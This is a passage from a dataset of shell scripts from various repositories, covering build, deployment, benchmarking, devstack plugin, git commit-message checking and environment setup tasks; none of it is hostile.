then\n echo \"set all switches point to local controller\"\n dsh -g ${basename} \"$ONOS_DIR/scripts/ctrl-local.sh\"\n else\n dsh -w ${basename}$2 \"$ONOS_DIR/scripts/ctrl-local.sh\"\n fi\n ;;\n all)\n if [ x$2 == \"x\" -o x$2 == \"xall\" ]; then\n echo \"set all non-core switches point to all non-core controllers\"\n dsh -g ${basename} -x ${basename}1 \"$ONOS_DIR/scripts/ctrl-add-ext.sh\"\n else\n dsh -w ${basename}$2 \"$ONOS_DIR/scripts/ctrl-add-ext.sh\"\n fi\n ;;\n none)\n if [ x$2 == \"x\" -o x$2 == \"xall\" ]; then\n echo \"all non-core switches loose controller\"\n dsh -g ${basename} -x ${basename}1 \"$ONOS_DIR/scripts/ctrl-none.sh\"\n else\n dsh -w ${basename}$2 \"$ONOS_DIR/scripts/ctrl-none.sh\"\n fi\n ;;\n esac\n}"} {"text": "0\n#!/bin/bash\n\n# ============================================================================\n# Command line tool that can be used to query the platform via command line\n# when authentication is enabled.\n# Basic Auth login is performed using the environment variables \n# MD_PLATFORM_USER and MD_PLATFORM_PASSWORD.\n# It will fetch a JWT token using the provided credentials and use it with\n# Bearer authentication to execute the provided endpoint as argument.\n#\n# Example usage:\n# \n# ./platform_endpoint.sh \"/accounting_report\"\n#\n# By default it assumes a GET request. To execute a POST request:\n#\n# ./platform_endpoint.sh \"/accounting_report\" POST\n# ============================================================================\n\nMD_PLATFORM_HOST=${MD_PLATFORM_HOST:-localhost}\nMD_PLATFORM_PORT=${MD_PLATFORM_PORT:-80}\n\necho \"--> Using md_platform on $MD_PLATFORM_HOST:$MD_PLATFORM_PORT\"\necho \"... (please configure MD_PLATFORM_HOST and MD_PLATFORM_PORT if you don't agree) ...\"\n\ncommand -v curl > /dev/null\n\nif [ $? -eq 0 ]; then\n echo -e \"Checking presence of curl ... \\e[32mOK\\e[0m\"\nelse\n echo -e \"Checking presence of curl ... \\e[31mFAIL\\e[0m\"\n echo \"This program needs curl, please install it first.\"\n exit -1\nfi\n\ncommand -v jq > /dev/null\n\nif [ $? -eq 0 ]; then\n echo -e \"Checking presence of jq ... \\e[32mOK\\e[0m\"\nelse\n echo -e \"Checking presence of jq ... \\e[31mFAIL\\e[0m\"\n echo \"This program needs jq, please install it first.\"\n exit -1\nfi \n\nENDPOINT=$1\nMETHOD=${2:-GET}\n\nif [[ $ENDPOINT = /* ]]; then\n echo -e \"Checking validity of endpoint argument ... \\e[32mOK\\e[0m\"\nelse\n echo -e \"Checking validity of endpoint argument ... \\e[31mFAIL\\e[0m\"\n echo \"The argument to this program should be a relative endpoint e.g. /accounting_report\"\n exit -1\nfi\n\nif [ -z \"$MD_PLATFORM_USER\" ]; then\n echo -e \"Checking credentials ... \\e[31mFAIL\\e[0m\"\n echo -e \"\\e[31mPlease set the environment variable MD_PLATFORM_USER\\e[0m.\"\n exit -1\nfi\n\nif [ -z \"$MD_PLATFORM_PASSWORD\" ]; then\n echo -e \"Checking credentials ... \\e[31mFAIL\\e[0m\"\n echo -e \"\\e[31mPlease set the environment variable MD_PLATFORM_PASSWORD.\\e[0m\"\n exit -1\nfi\n\necho -e \"Checking credentials ... \\e[32mOK\\e[0m\"\n\nJSON_TOKEN=$(curl -s -u $MD_PLATFORM_USER:$MD_PLATFORM_PASSWORD http://${MD_PLATFORM_HOST}:${MD_PLATFORM_PORT}/authenticate | jq -r '.token')\necho \"\"\n\nENDPOINT_REQUEST=\"curl -X ${METHOD} -H \\\"Authorization: Bearer ${JSON_TOKEN}\\\" http://${MD_PLATFORM_HOST}:${MD_PLATFORM_PORT}${ENDPOINT}\"\n\neval $ENDPOINT_REQUEST"} {"text": "jiapeish/leetcode-c-cppreference/Algorithms-in-a-Nutshell-master/Releases/ADK/Deployment/Code/Graph/SingleSourceShortestPath/Tables/Table6-3.sh\n#!/bin/bash\n\n# Execute from parent directory\nEVAL=../../../bin/eval\n\nOUTPUT=Table6-3.out\nrm -f $OUTPUT\n\nNUM_TRIALS=100\n\n# store partial results here...\nACTIVE=/tmp/result.$$\n\n# If non-blank then do Bellman-Ford. Sure? It could take a Loooong time.\nDO_BF=\"\"\n\necho \"GRAPH,PQ,DG,optimized,Bellman-Ford\" >> $OUTPUT\nfor i in ../TSP/*.tsp\ndo\n echo \"$i...\" \n echo >> $OUTPUT\n\n # Start off the trial: Dijkstra's algorithm with PQ\n # ------------------------------------------------------\n echo $NUM_TRIALS > $ACTIVE\n T=0\n while [ $T -lt $NUM_TRIALS ]\n do\n ../tsp -f $i |tail -1 | sed 's/secs//' >> $ACTIVE\n\n T=$((T+1))\n done\n Z_PQ=`$EVAL < $ACTIVE | cut -f1 -d' '`\n\n # Start off the trial: Dijkstra's algorithm for DG\n # ------------------------------------------------------\n echo $NUM_TRIALS > $ACTIVE\n T=0\n while [ $T -lt $NUM_TRIALS ]\n do\n ../tspDense -f $i |tail -1 | sed 's/secs//' >> $ACTIVE\n\n T=$((T+1))\n done\n Z_DG=`$EVAL < $ACTIVE | cut -f1 -d' '`\n\n # Start off the trial with optimized dense\n # ------------------------------------------------------\n echo $NUM_TRIALS > $ACTIVE\n T=0\n while [ $T -lt $NUM_TRIALS ]\n do\n ../tsp -d -f $i |tail -1 | sed 's/secs//'>> $ACTIVE\n\n T=$((T+1))\n done\n Z_RAW=`$EVAL < $ACTIVE | cut -f1 -d' '`\n\n if [ \"x$DO_BF\" != \"x\" ]\n then\n # Start off the trial for Bellman-Ford\n # ------------------------------------------------------\n echo $NUM_TRIALS > $ACTIVE\n T=0\n while [ $T -lt $NUM_TRIALS ]\n do\n ../tspBellmanFord -f $i |tail -1 | sed 's/secs//'>> $ACTIVE\n \n T=$((T+1))\n done\n Z_BF=`$EVAL < $ACTIVE | cut -f1 -d' '`\n fi\n\n echo \"$i,$Z_PQ,$Z_DG,$Z_RAW,$Z_BF\" >> $OUTPUT\n\ndone"} {"text": "#!/bin/bash\n\n# Custom CSS\nmkdir $HOME/.jupyter/custom\ncp $HOME/library/tools/css/w3.css $HOME/.jupyter/custom/custom.css\n\n# Set iPython profile\nipython profile create\ncp $HOME/library/tools/pdflatex_magic.py $HOME/.ipython/extensions/\ncp $HOME/library/tools/bash2_magic.py $HOME/.ipython/extensions/\ncp $HOME/library/tools/ipython_config.py $HOME/.ipython/profile_default/"} {"text": "1-10\npyuic5 --import-from=conanguide.ui.res ../resources/ui/main_window.ui -o ../conanguide/ui/main/main_window_ui.py\npyrcc5 ../resources/resources.qrc -o ../conanguide/ui/res/resources_rc.py"} {"text": "1-10\n#!/usr/bin/env bash\nsudo adduser bcdiploma\nsudo usermod -aG sudo bcdiploma"} {"text": "#!/bin/bash\n\n\nrm -Rf Makefile.in aclocal.m4 ar-lib compile config.guess config.h.in config.sub configure depcomp install-sh ltmain.sh m4 missing src/Makefile.in\nautoreconf --install\nrm -Rf autom4te.cache"} {"text": "sanjay920/opni\nIMAGE_NAME=amartyarancher/training-controller:v0.1\ndocker build .. -t $IMAGE_NAME -f ./Dockerfile\n\ndocker push $IMAGE_NAME"} {"text": "spring_boot/gen_package.sh1-10\n#!/bin/bash\n\n#############################################################\n# JAR Server Generate Package Script #\n#############################################################\n\n# Print JAR Server Logo\necho \" ____\"\necho \"/ ___| ___ _ ____ _____ _ __\"\necho \"\\\\___ \\\\ / _ \\\\ '__\\\\ \\\\ / / _ \\\\ '__|\"\necho \" ___) | __/ | \\\\ V / __/ |\"\necho \"|____/ \\\\___|_| \\\\_/ \\\\___|_|\"\necho \"\"\n\n# Parse current absolute path\nCURRENT_RELATIVE_PATH=`pwd | awk -F / '{ print $(NF-1)\"/\"$NF; }'`\n\n# Check current relative path\nif [ ! \"${CURRENT_RELATIVE_PATH}\" = \"jarServer/setup\" ]; then\n\techo \"\"\n\techo \"Please, run this script from /jarServer/setup directory...\"\n\techo \"\"\n\texit 1\nfi\n\necho \"Getting JAR Server JAR File\"\ncp -v ../target/jar-*.jar ./.\necho \"\"\n\nif [ ! -f ./jar-*.jar ]; then\n echo \"JAR Server JAR FIle not found...\"\n\techo \"Trying to compile project...\"\n\tsleep 1\n\n\t# Trying to compile project\n\tcd ../\n\tmvn clean install\n\tcd -\n\n\techo \"Getting JAR Server JAR File\"\n\tcp -v ../target/jar-*.jar ./.\n\techo \"\"\n\n\tif [ ! -f ./jar-*.jar ]; then\n\t\techo \"\"\n\t\techo \"JAR Server JAR FIle not found...\"\n\t\techo \"Fail to generate jar-server-package.tar.gz\"\n\t\techo \"\"\n\t\texit 1\n\tfi\nfi\n\necho \"Creating jar-server-package directory\"\nmkdir -v jar-server-package\necho \"\"\n\necho \"Adding Files to jar-server-package\"\ncp -rfv JARServerConfig jar-server-package\ncp -v 000-default.conf jar-server-package\ncp -v jar-install.sh jar-server-package\ncp -v jar-server jar-server-package\ncp -v jar-*.jar jar-server-package\necho \"\"\n\necho \"Compressing jar-server-package directory\"\ntar -zcvf jar-server-package.tar.gz jar-server-package\necho \"\"\n\necho \"Removing temporary files...\"\nrm -vrf jar-server-package\necho \"\"\n\n# End\necho \"JAR Server Package Generation Done!\"\necho \"\"\n\nexit 0"} {"text": "adam-dej/test-profilespts/portal-1.1.2/install.sh\n#!/bin/sh\n\nHOME=$DEBUG_REAL_HOME steam steam://install/400\necho $? > ~/install-exit-status\n\nunzip -o pts-portal-1.zip\nmv pts-portal-1.dem $DEBUG_REAL_HOME/.steam/steam/steamapps/common/Portal/portal\n\necho \"#!/bin/bash\n. steam-env-vars.sh\ncd \\$DEBUG_REAL_HOME/.steam/steam/steamapps/common/Portal\n\n./hl2_linux -game portal +con_logfile \\$LOG_FILE +cl_showfps 1 +timedemoquit pts-portal-1 -novid -fullscreen \\$@\" > portal\nchmod +x portal"} {"text": "buryhuangdefiner/definer-metamask-wallet\n# Copy JS files for injection\nyes | cp -rf app/core/InpageBridge.js android/app/src/main/assets/.\nyes | cp -rf app/core/InpageBridgeWeb3.js android/app/src/main/assets/.\n# Copy fonts with iconset\nyes | cp -rf ./app/fonts/Metamask.ttf ./android/app/src/main/assets/fonts/Metamask.ttf"} {"text": "#!/bin/bash\n\ncommit_message_check (){\n # Get the current branch and apply it to a variable\n currentbranch=`git branch | grep \\* | cut -d ' ' -f2`\n\n # Gets the commits for the current branch and outputs to file\n git log $currentbranch --pretty=format:\"%H\" --not master > shafile.txt\n\n # loops through the file an gets the message\n for i in `cat ./shafile.txt`;\n do \n # gets the git commit message based on the sha\n gitmessage=`git log --format=%B -n 1 \"$i\"`\n \n ####################### TEST STRINGS comment out line 13 to use #########################################\n #gitmessage=\"feat sdasdsadsaas (AEROGEAR-asdsada)\"\n #gitmessage=\"feat(some txt): some txt (AEROGEAR-****)\"\n #gitmessage=\"docs(some txt): some txt (AEROGEAR-1234)\"\n #gitmessage=\"fix(some txt): some txt (AEROGEAR-5678)\"\n #########################################################################################################\n \n messagecheck=`echo $gitmessage | grep -w \"feat\\|fix\\|docs\\|breaking\"`\n if [ -z \"$messagecheck\" ]\n then \n echo \"Your commit message must begin with one of the following\"\n echo \" feat(feature-name)\"\n echo \" fix(fix-name)\"\n echo \" docs(docs-change)\"\n echo \" \"\n fi\n messagecheck=`echo $gitmessage | grep \"(AEROGEAR-\\|(INTLY-\"`\n if [ -z \"$messagecheck\" ]\n then \n echo \"Your commit message must end with the following\"\n echo \" (AEROGEAR-****)\"\n echo \"Where **** is the Jira number\"\n echo \" \" \n fi\n messagecheck=`echo $gitmessage | grep \": \"`\n if [ -z \"$messagecheck\" ]\n then \n echo \"Your commit message has a formatting error please take note of special characters '():' position and use in the example below\"\n echo \" type(some txt): some txt (AEROGEAR-****)\"\n echo \"Where 'type' is fix, feat, docs or breaking and **** is the Jira number\"\n echo \" \"\n fi\n\n messagecheck=`echo $gitmessage | grep -w \"feat\\|fix\\|docs\\|breaking\" | grep \"(AEROGEAR-\\|(INTLY-\" | grep \": \"`\n\n \n\n # check to see if the messagecheck var is empty\n if [ -z \"$messagecheck\" ]\n then \n echo \"The commit message with sha: '$i' failed \"\n echo \"Please review the following :\"\n echo \" \"\n echo $gitmessage\n echo \" \"\n rm shafile.txt >/dev/null 2>&1\n exit 1\n else\n echo \"$messagecheck\"\n echo \"'$i' commit message passed\"\n fi \n done\n rm shafile.txt >/dev/null 2>&1\n}\n\n# Calling the function\ncommit_message_check"} {"text": "#!/bin/bash\n\n#\n# Copyright 2017 FUJITSU LIMITED\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Save trace setting\n_EVENTS_XTRACE=$(set +o | grep xtrace)\nset -o xtrace\n_EVENTS_ERREXIT=$(set +o | grep errexit)\nset -o errexit\n\n# source lib/*\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/utils.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/kafka.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/elasticsearch.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/events-persister.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/events-api.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/events-agent.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/kibana.sh\nsource ${MONASCA_EVENTS_API_DIR}/devstack/lib/monasca-ui.sh\n\nPLUGIN_FILES=$MONASCA_LOG_API_DIR/devstack/files\n\nMONASCA_EVENT_API_URI=${MONASCA_EVENTS_API_SERVICE_PROTOCOL}://${MONASCA_EVENTS_API_SERVICE_HOST}/events\n\nfunction install_monasca_events {\n echo_summary \"Installing Core Monasca Events Components\"\n install_events_persister\n install_events_api\n install_events_agent\n}\n\nfunction configure_monasca_events {\n echo_summary \"Configuring Monasca Events Core Components\"\n\n configure_log_dir ${MONASCA_EVENTS_LOG_DIR}\n configure_events_persister\n configure_events_api\n configure_events_agent\n configure_elasticsearch\n configure_kibana\n echo_summary \"Creating events topic\"\n create_kafka_topic monevents\n configure_monasca-ui\n\n echo_summary \"Creating events service and endpoint\"\n get_or_create_service \"events\" \"events\" \"Monasca Events service\"\n get_or_create_endpoint \\\n \"events\" \\\n \"${REGION_NAME}\" \\\n \"${MONASCA_EVENT_API_URI}\" \\\n \"${MONASCA_EVENT_API_URI}\" \\\n \"${MONASCA_EVENT_API_URI}\"\n\n local events_search_url=\"http://$KIBANA_SERVICE_HOST:$KIBANA_SERVICE_PORT/\"\n get_or_create_service \"events-search\" \"events-search\" \"Monasca Events search service\"\n get_or_create_endpoint \\\n \"events-search\" \\\n \"$REGION_NAME\" \\\n \"$events_search_url\" \\\n \"$events_search_url\" \\\n \"$events_search_url\"\n\n}\n\nfunction start_monasca_events {\n echo_summary \"Starting Monasca Events Components\"\n start_events_persister\n start_events_api\n start_events_agent\n}\n\nfunction unstack_monasca_events {\n echo_summary \"Unstacking Monasca Events Components\"\n stop_events_agent\n stop_events_api\n stop_events_persister\n}\n\nfunction clean_monasca_events {\n echo_summary \"Cleaning Monasca Events Components\"\n clean_events_agent\n clean_events_api\n clean_events_persister\n}\n\n# check for service enabled\nif is_service_enabled monasca-events; then\n\n if [[ \"$1\" == \"stack\" && \"$2\" == \"install\" ]]; then\n # Perform installation of service source\n echo_summary \"Installing Monasca Events\"\n install_monasca_events\n\n elif [[ \"$1\" == \"stack\" && \"$2\" == \"post-config\" ]]; then\n # Configure after the other layer 1 and 2 services have been configured\n echo_summary \"Configuring Monasca Events\"\n configure_monasca_events\n\n elif [[ \"$1\" == \"stack\" && \"$2\" == \"extra\" ]]; then\n # Initialize and start the Monasca service\n echo_summary \"Initializing Monasca Events\"\n start_monasca_events\n fi\n\n if [[ \"$1\" == \"unstack\" ]]; then\n # Shut down Monasca services\n echo_summary \"Unstacking Monasca Events\"\n unstack_monasca_events\n fi\n\n if [[ \"$1\" == \"clean\" ]]; then\n # Remove state and transient data\n # Remember clean.sh first calls unstack.sh\n echo_summary \"Cleaning Monasca Events\"\n clean_monasca_events\n fi\nfi\n\n# Restore errexit & xtrace\n${_EVENTS_ERREXIT}\n${_EVENTS_XTRACE}"} {"text": "#!/bin/sh\n\n# Get the latest packages data\n. ./bin/packages.sh || exit 1\n\n# Update SRI (assumes a valid git repo, not using rm as the app reads from this continually)\n(\n # Forcibly update to latest\n cd ./data/sri\n git fetch origin\n git reset --hard origin/master\n\n # Log the commit\n echo \"SRIs at:\"\n git log -n 1 | cat\n)\n\n# Update tutorials (assumes a valid git repo, not using rm as the app reads from this continually)\n(\n # Forcibly update to latest\n cd ./data/tutorials\n git fetch origin\n git reset --hard origin/master\n\n # Log the commit\n echo \"Tutorials at:\"\n git log -n 1 | cat\n)\n\n# Get last modified data for tutorials\n. ./bin/tutorialsModified.sh || exit 1"} {"text": "#!/bin/bash\n# Configuration script for bzip2 1.0.8\n# Library release date: 2019/07/13\n\nexport FM_BZIP2_NAME=\"bzip2\"\nexport FM_BZIP2_VERSION=\"1.0.8\"\nexport FM_BZIP2_FULL_NAME=\"${FM_BZIP2_NAME}-${FM_BZIP2_VERSION}\"\nexport FM_BZIP2_TARBALL_NAME=\"${FM_BZIP2_FULL_NAME}.tar.gz\"\nexport FM_BZIP2_TARBALL_DOWNLOAD_URL=\"https://sourceware.org/pub/bzip2/${FM_BZIP2_TARBALL_NAME}\"\nexport FM_BZIP2_INSTALL_CHECK=\"include/bzlib.h\"\nexport FM_BZIP2_HASH=\"bf7badf7e248e0ecf465d33c2f5aeec774209227\"\nexport FM_BZIP2_HASH_TYPE=\"SHA-1\""} {"text": "allan-hb/gos\n#!/usr/bin/env bash\nbasePath=$(pwd)/vendor\n\nmkdir -p $basePath\nexport GOPATH=$basePath\n\n# Redis\ngo get -u github.com/go-redis/redis\n\n# Iris\ngo get -u github.com/kataras/iris\ngo get -u github.com/hashicorp\n\n#gRpc\ngo get -u github.com/golang/protobuf/{proto,protoc-gen-go}\ngo get -u google.golang.org/grpc\n\n#BDD\ngo get -u github.com/onsi/ginkgo/ginkgo\ngo get -u github.com/onsi/gomega/...\n\n#Skiplist\ngo get -u github.com/ryszard/goskiplist/skiplist\n\n#ORM\ngo get -u github.com/go-gorp/gorp\ngo get -u github.com/go-sql-driver/mysql\n\n#UUID\ngo get -u github.com/rs/xid\n\n#Cron\ngo get -u github.com/robfig/cron\n\n#iOS Push\ngo get -u github.com/sideshow/apns2\n\n#Android FCM\ngo get -u github.com/appleboy/go-fcm\n\n#In App Purchase Validator\ngo get -u github.com/awa/go-iap/appstore\ngo get -u github.com/awa/go-iap/playstore"} {"text": "tilmantroester/KiDS-1000xtSZ\n#!/usr/bin/bash\n\n# python compute_jk_weights.py \\\n# --weight-paths ../data/shear_maps/z0.1-0.3/doublet_weight.fits ../data/y_maps/polspice/milca/singlet_mask.fits \\\n# --jk-def ../data/KiDS1000_jk_blocks.npz \\\n# --output ../results/measurements/shear_KiDS1000_y/z0.1-0.3-milca/jk_weights.npz\n\n# python compute_jk_weights.py \\\n# --weight-paths ../data/shear_maps/z0.3-0.5/doublet_weight.fits ../data/y_maps/polspice/milca/singlet_mask.fits \\\n# --jk-def ../data/KiDS1000_jk_blocks.npz \\\n# --output ../results/measurements/shear_KiDS1000_y/z0.3-0.5-milca/jk_weights.npz\n\n# python compute_jk_weights.py \\\n# --weight-paths ../data/shear_maps/z0.5-0.7/doublet_weight.fits ../data/y_maps/polspice/milca/singlet_mask.fits \\\n# --jk-def ../data/KiDS1000_jk_blocks.npz \\\n# --output ../results/measurements/shear_KiDS1000_y/z0.5-0.7-milca/jk_weights.npz\n\n# python compute_jk_weights.py \\\n# --weight-paths ../data/shear_maps/z0.7-0.9/doublet_weight.fits ../data/y_maps/polspice/milca/singlet_mask.fits \\\n# --jk-def ../data/KiDS1000_jk_blocks.npz \\\n# --output ../results/measurements/shear_KiDS1000_y/z0.7-0.9-milca/jk_weights.npz\n\npython compute_jk_weights.py \\\n--weight-paths ../data/shear_maps/z0.9-1.2/doublet_weight.fits ../data/y_maps/polspice/milca/singlet_mask.fits \\\n--jk-def ../data/KiDS1000_jk_blocks.npz \\\n--output ../results/measurements/shear_KiDS1000_y/z0.9-1.2-milca/jk_weights.npz"} {"text": "#!/bin/bash\n#It splits the dense matrix into row splits and column splits\n#Every file will have equal number of lines in Arows_#cores_idx\n#and equal columsn in Acols_#cores_idx\n#Run as : splitfiles.sh filename filenamet #cores\nnumCores=$3\ntotalLines=$(wc -l < $1)\n#totalLines=\nnumLines=$(( $totalLines / $numCores ))\noutputdir=${numCores}cores\nrm -rf $outputdir\nmkdir $outputdir\n#------------------------------\n#row split\nsplit -a 3 -d -l ${numLines} $1 $outputdir/Arows_${numCores}_\n\n#rename the file suffixes with numbers\ni=0\nfor file in $outputdir/Arows_*\ndo\n mv $file $outputdir/Arows_${numCores}_${i}\n i=$(( i + 1 ))\ndone\n\ntotalLines=$(wc -l < $2)\n#totalLines=115200\nnumLines=$(( $totalLines / $numCores ))\n#------------------------------\n#row split\nsplit -a 3 -d -l ${numLines} $2 $outputdir/Acols_${numCores}_\n\n#rename the file suffixes with numbers\ni=0\nfor file in $outputdir/Acols_*\ndo\n mv $file $outputdir/Acols_${numCores}_${i}\n i=$(( i + 1 ))\ndone\n#-------------------------------\n#column split\n#numCols=$(gawk -F' ' '{print NF; exit}' $1)\n#perCol=$(( ${numCols} / ${numCores} ))\n#for ((i=0;i> ${outputdir}/Acols_${numCores}_$i 2>&1\n#done\n#-------------------------------------"} {"text": "#!/bin/sh\n\n# Copyright 2001,2004-2006 The Apache Software Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# ----------------------------------------------------------------------------\n# SimpleAxis2Server Script\n#\n# Environment Variable Prerequisites\n#\n# AXIS2_HOME Home of Axis2 installation. If not set I will try\n# to figure it out.\n#\n# JAVA_HOME Must point at your Java Development Kit installation.\n#\n# NOTE: Borrowed generously from Apache Tomcat startup scripts.\n# -----------------------------------------------------------------------------\n\n# if JAVA_HOME is not set we're not happy\nif [ -z \"$JAVA_HOME\" ]; then\n echo \"You must set the JAVA_HOME variable before running Axis2 Script.\"\n exit 1\nfi\n\n# OS specific support. $var _must_ be set to either true or false.\ncygwin=false\nos400=false\ncase \"`uname`\" in\nCYGWIN*) cygwin=true;;\nOS400*) os400=true;;\nesac\n\n# resolve links - $0 may be a softlink\nPRG=\"$0\"\n\nwhile [ -h \"$PRG\" ]; do\n ls=`ls -ld \"$PRG\"`\n link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n if expr \"$link\" : '.*/.*' > /dev/null; then\n PRG=\"$link\"\n else\n PRG=`dirname \"$PRG\"`/\"$link\"\n fi\ndone\n\n# Get standard environment variables\nPRGDIR=`dirname \"$PRG\"`\n\n# Only set AXIS2_HOME if not already set\n[ -z \"$AXIS2_HOME\" ] && AXIS2_HOME=`cd \"$PRGDIR\" ; pwd`\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin; then\n [ -n \"$JAVA_HOME\" ] && JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n [ -n \"$AXIS2_HOME\" ] && AXIS2_HOME=`cygpath --unix \"$AXIS2_HOME\"`\n [ -n \"$CLASSPATH\" ] && CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For OS400\nif $os400; then\n # Set job priority to standard for interactive (interactive - 6) by using\n # the interactive priority - 6, the helper threads that respond to requests\n # will be running at the same priority as interactive jobs.\n COMMAND='chgjob job('$JOBNAME') runpty(6)'\n system $COMMAND\n\n # Enable multi threading\n export QIBM_MULTI_THREADED=Y\nfi\n\n# update classpath\nAXIS2_CLASSPATH=\"$AXIS2_HOME/../../lib\"\nfor f in \"$AXIS2_HOME\"/../../repository/components/plugins/*.jar\ndo\n syn_mod=`ls $f | grep org.apache.synapse.module`\n if [ ! -e \"$syn_mod\" ]; then\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\n fi\ndone\nfor f in \"$AXIS2_HOME\"/../../lib/*.jar\ndo\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\ndone\nfor f in \"$AXIS2_HOME\"/../../lib/core/WEB-INF/lib/*.jar\ndo\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\ndone\nfor f in \"$AXIS2_HOME\"/../../repository/components/extensions/*.jar\ndo\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\ndone\nfor f in \"$AXIS2_HOME\"/../../repository/components/lib/*.jar\ndo\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\ndone\nfor f in \"$AXIS2_HOME\"/../../lib/api/*.jar\ndo\n AXIS2_CLASSPATH=\"$AXIS2_CLASSPATH\":$f\ndone\n\nAXIS2_CLASSPATH=\"$JAVA_HOME/lib/tools.jar\":\"$AXIS2_CLASSPATH\":\"$CLASSPATH\"\n\nfor f in $AXIS2_HOME/../../repository/lib/*.jar\ndo\n AXIS2_CLASSPATH=$f:$AXIS2_CLASSPATH\ndone\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n JAVA_HOME=`cygpath --absolute --windows \"$JAVA_HOME\"`\n AXIS2_HOME=`cygpath --absolute --windows \"$AXIS2_HOME\"`\n CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n JAVA_ENDORSED_DIRS=`cygpath --path --windows \"$JAVA_ENDORSED_DIRS\"`\nfi\n\n# endorsed dir\nAXIS2_ENDORSED=$AXIS2_HOME/../../lib/endorsed\n\necho \" Using JAVA_HOME: $JAVA_HOME\"\necho \" Using AXIS2 Repository : $AXIS2_HOME/repository\"\necho \" Using AXIS2 Configuration : $AXIS2_HOME/repository/conf/axis2.xml\"\n\nHTTP_PORT_SET=\"FALSE\"\nHTTPS_PORT_SET=\"FALSE\"\n\nJAVACMD=\"java\"\n\nPROGRAM_PARAMS=\"\"\nwhile [ \"$1\" != \"\" ]; do\n\n if [ \"$1\" = \"-xdebug\" ]; then\n PROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,server=y,address=8000 \"\n shift\n\n elif [ \"$1\" = \"-name\" ]; then\n PROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Dserver_name=$2 \"\n shift\n shift\n\n elif [ \"$1\" = \"-http\" ]; then\n PROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Dhttp_port=$2 \"\n\t HTTP_PORT_SET=\"TRUE\"\n shift\n shift\n\n elif [ \"$1\" = \"-https\" ]; then\n PROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Dhttps_port=$2 \"\n\t HTTPS_PORT_SET=\"TRUE\"\n shift\n shift\n\n elif [ \"$1\" = \"test\" ]; then\n JAVACMD=\"exec \"\"$JAVACMD\"\n shift\n\n fi\n\ndone\n\nif [ \"$HTTP_PORT_SET\" = \"FALSE\" ]; then\n\tPROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Dhttp_port=9000 \"\nfi\n\nif [ \"$HTTPS_PORT_SET\" = \"FALSE\" ]; then\n\tPROGRAM_PARAMS=\"$PROGRAM_PARAMS\"\"-Dhttps_port=9002 \"\nfi\n\n$JAVACMD -Dcarbon.home=\"$AXIS2_HOME/../../\" $PROGRAM_PARAMS -Djava.io.tmpdir=\"$AXIS2_HOME/../../tmp/sampleServer\" \\\n -Djava.endorsed.dirs=\"$AXIS2_ENDORSED\" -classpath \"$AXIS2_CLASSPATH\" org.wso2.bps.samples.util.SampleAxis2Server \\\n -repo \"$AXIS2_HOME/repository\" -conf \"$AXIS2_HOME/repository/conf/axis2.xml\""} {"text": "src/commands/profile.sh\nprofile() {\n if ! [ -f \"$HOME/.config/bash/profiles/$1.sh\" ]; then\n echo \"Can't find profile!\"\n return\n fi\n config=$(cat $HOME/.config/bash/custom/config.bdb)\n echo \"PROFILE=$1;OSICON=$(bdbFind OSICON $config)\" > $HOME/.config/bash/custom/config.bdb\n bash\n}"} {"text": "shellscrip/discoverIp.sh\n#!/bin/bash\n\n#requires findLinks.sh \nrequired=\"findLinks.sh\"\ntempFile=\"blabla.txt\"\nif [ ! -f \"$required\" ]\nthen\n\techo \"Exiting....\"\n\techo \"The script \\\"$required\\\" is required and must be in the same folder os this script\"\t\n\texit\nfi\n\nif [ \"$1\" == \"\" ]\nthen\n\techo \"This script discover the ip address of all links in a given page\"\n\techo \"Usage: $0 [address]\"\n\techo \"Example: $0 www.google.com\"\n\texit\nfi\n\nsource $required $1 > \"$tempFile\"\n\nfor line in $(cat $tempFile)\ndo\n\t#echo \"$line:\"\n\tgetent hosts $line #Archlinux has \"getent hosts\" instead of host\n\t\ndone\n\n\nrm \"$tempFile\""} {"text": "0\n#!/bin/bash\nset -v\n\nexport PYTHONPATH=.\npython -u WhittlerTests/BuildAndInstallWhittlerBinary.py --install-directory=/usr/local/bin"} {"text": "100-1000\n#!/bin/bash\n\nmkdir -p pinloc-1k-swg16tr\ncd pinloc-1k-swg16tr\n\npins=\"\n\tA2 A4 B1 B2 B3 C1 C2 C3 D1 D3\n\"\n\nif [ $(echo $pins | wc -w) -ne 10 ]; 